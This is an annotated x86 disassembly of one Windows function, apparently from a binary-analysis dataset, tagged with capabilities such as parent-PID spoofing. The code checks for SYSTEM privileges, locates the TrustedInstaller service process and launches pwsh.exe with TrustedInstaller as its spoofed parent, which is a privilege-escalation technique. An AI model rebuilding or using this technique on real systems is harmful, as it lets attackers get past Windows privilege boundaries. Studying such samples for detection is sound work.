Function at 0x401050
Capabilities:
Compare security identifiers
Create process on windows
Create process suspended
Query service status
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push esi
push edi
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x401096
call ebx
push eax
push str.Failed_to_open_Service_Control_Manager._Error:__lu_n
call fcn.00401010
add esp, 8
xor esi, esi
jmp 0x40111e
push 4
push str.TrustedInstaller
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4010c8
call ebx
push eax
push str.TrustedInstaller
push str.Failed_to_open_service__s._Error:__lu_n
call fcn.00401010
add esp, 0xc
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40111e
lea eax, [esp + 0x14]
push eax
push 0x24
lea eax, [esp + 0x38]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x401106
call ebx
push eax
push str.TrustedInstaller
push str.Failed_to_query_service_status_for__s._Error:__lu_n
call fcn.00401010
add esp, 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
xor esi, esi
jmp 0x40111e
mov eax, dword [esp + 0x4c]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [esp + 0x14], eax
call esi
push edi
call esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], 0
push eax
push 8
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4011e3
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [esp + 0x1c]
call fcn.004065dd
mov edi, eax
add esp, 4
test edi, edi
je 0x4011d0
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x20]
push edi
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4011c7
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push str.S_1_5_18
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x4011c7
push dword [esp + 0x18]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push dword [esp + 0x18]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.004065c2
add esp, 4
push dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
cmp dword [esp + 0x10], 0
jne 0x4011f5
push str.Not_running_as_SYSTEM._Attempting_to_elevate..._n
call fcn.00401010
add esp, 4
call fcn.00401370
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x401232
call ebx
push eax
push str.Failed_to_open_process._Error:__lu_n
call fcn.00401010
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.0040167c
mov esp, ebp
pop ebp
ret
push 0x48
mov dword [esp + 0x18], eax
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00402780
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [esp + 0x1c]
add esp, 0xc
mov dword [esp + 0x30], 0x48
push eax
push 0
push 1
push 0
call esi
push dword [esp + 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x74], eax
push ecx
push 0
push 1
push eax
call esi
push 0
push 0
push 4
lea eax, [esp + 0x20]
push eax
push 0x20000
push 0
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
push 0x80010
push 0
push 0
push 0
push str.pwsh.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401303
call ebx
push eax
push str.CreateProcess_failed._Error:__lu_n
call fcn.00401010
add esp, 8
push dword [esp + 0x74]
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push dword [esp + 0x74]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 1
jmp 0x40132f
push dword [esp + 0x20]
call edi
push dword [esp + 0x24]
call edi
push dword [esp + 0x74]
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push dword [esp + 0x74]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
test ecx, ecx
mov edx, str.Successfully_created_pwsh.exe_with_TrustedInstaller_as_the_parent._n
mov eax, str.Failed_to_create_the_child_process._n
cmove eax, edx
push eax
call fcn.00401010
add esp, 4
push dword [esp + 0x18]
call edi
mov ecx, dword [esp + 0x7c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040167c
mov esp, ebp
pop ebp
ret